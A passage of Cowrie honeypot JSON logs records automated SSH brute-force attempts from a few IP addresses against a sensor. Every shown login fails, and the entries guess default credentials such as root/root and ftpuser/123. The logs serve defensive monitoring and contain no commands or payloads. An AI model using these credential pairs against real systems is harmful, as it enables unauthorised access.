0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:45.988430Z","src_ip":"176.65.132.129","session":"e3da2ab2cfb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:46.236772Z","src_ip":"176.65.132.129","session":"e3da2ab2cfb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:47.332741Z","src_ip":"176.65.132.129","session":"e3da2ab2cfb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58370,"dst_ip":"159.203.135.109","dst_port":22,"session":"925894104914","protocol":"ssh","message":"New connection: 176.65.132.129:58370 (159.203.135.109:22) [session: 925894104914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:49.238050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:49.337078Z","src_ip":"176.65.132.129","session":"925894104914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:49.340628Z","src_ip":"176.65.132.129","session":"925894104914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:49.825184Z","src_ip":"176.65.132.129","session":"925894104914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:50.909636Z","src_ip":"176.65.132.129","session":"925894104914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58386,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd76940cd79e","protocol":"ssh","message":"New connection: 176.65.132.129:58386 (159.203.135.109:22) [session: bd76940cd79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:52.819393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:52.823876Z","src_ip":"176.65.132.129","session":"bd76940cd79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:52.909094Z","src_ip":"176.65.132.129","session":"bd76940cd79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:53.160349Z","src_ip":"176.65.132.129","session":"bd76940cd79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:54.263086Z","src_ip":"176.65.132.129","session":"bd76940cd79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38250,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3a5ad7dc6c","protocol":"ssh","message":"New connection: 172.237.20.62:38250 (159.203.135.109:22) [session: 3a3a5ad7dc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:54.528283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:54.533100Z","src_ip":"172.237.20.62","session":"3a3a5ad7dc6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:54.698981Z","src_ip":"172.237.20.62","session":"3a3a5ad7dc6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:55.187551Z","src_ip":"172.237.20.62","session":"3a3a5ad7dc6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53438,"dst_ip":"159.203.135.109","dst_port":22,"session":"fca5924515a4","protocol":"ssh","message":"New connection: 176.65.132.129:53438 (159.203.135.109:22) [session: fca5924515a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:56.244570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:56.249382Z","src_ip":"176.65.132.129","session":"fca5924515a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:56.331777Z","src_ip":"176.65.132.129","session":"fca5924515a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:56.352340Z","src_ip":"172.237.20.62","session":"3a3a5ad7dc6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:56.586540Z","src_ip":"176.65.132.129","session":"fca5924515a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:57.672812Z","src_ip":"176.65.132.129","session":"fca5924515a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.17519974708557,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:58.667453Z","src_ip":"45.58.127.90","session":"fffd8e426035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53444,"dst_ip":"159.203.135.109","dst_port":22,"session":"81711a838531","protocol":"ssh","message":"New connection: 176.65.132.129:53444 (159.203.135.109:22) [session: 81711a838531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:59.700334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:59.708565Z","src_ip":"176.65.132.129","session":"81711a838531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:59.790471Z","src_ip":"176.65.132.129","session":"81711a838531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:00.034805Z","src_ip":"176.65.132.129","session":"81711a838531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:01.119764Z","src_ip":"176.65.132.129","session":"81711a838531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53450,"dst_ip":"159.203.135.109","dst_port":22,"session":"375e206423aa","protocol":"ssh","message":"New connection: 176.65.132.129:53450 (159.203.135.109:22) [session: 375e206423aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:03.084967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:03.090707Z","src_ip":"176.65.132.129","session":"375e206423aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:03.173709Z","src_ip":"176.65.132.129","session":"375e206423aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:03.424608Z","src_ip":"176.65.132.129","session":"375e206423aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:04.509990Z","src_ip":"176.65.132.129","session":"375e206423aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48376,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87afc151c0d","protocol":"ssh","message":"New connection: 172.237.20.62:48376 (159.203.135.109:22) [session: e87afc151c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:05.487249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:05.493421Z","src_ip":"172.237.20.62","session":"e87afc151c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:05.662384Z","src_ip":"172.237.20.62","session":"e87afc151c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:06.148013Z","src_ip":"172.237.20.62","session":"e87afc151c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53354,"dst_ip":"159.203.135.109","dst_port":22,"session":"48ea4e426779","protocol":"ssh","message":"New connection: 176.65.132.129:53354 (159.203.135.109:22) [session: 48ea4e426779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:06.710126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:06.716625Z","src_ip":"176.65.132.129","session":"48ea4e426779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:06.799670Z","src_ip":"176.65.132.129","session":"48ea4e426779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:07.046424Z","src_ip":"176.65.132.129","session":"48ea4e426779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:07.352248Z","src_ip":"172.237.20.62","session":"e87afc151c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:08.132798Z","src_ip":"176.65.132.129","session":"48ea4e426779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.85535216331482,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:09.435305Z","src_ip":"45.58.127.90","session":"dfa09a63e4b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53378,"dst_ip":"159.203.135.109","dst_port":22,"session":"337ae5164b14","protocol":"ssh","message":"New connection: 176.65.132.129:53378 (159.203.135.109:22) [session: 337ae5164b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:10.159701Z"}
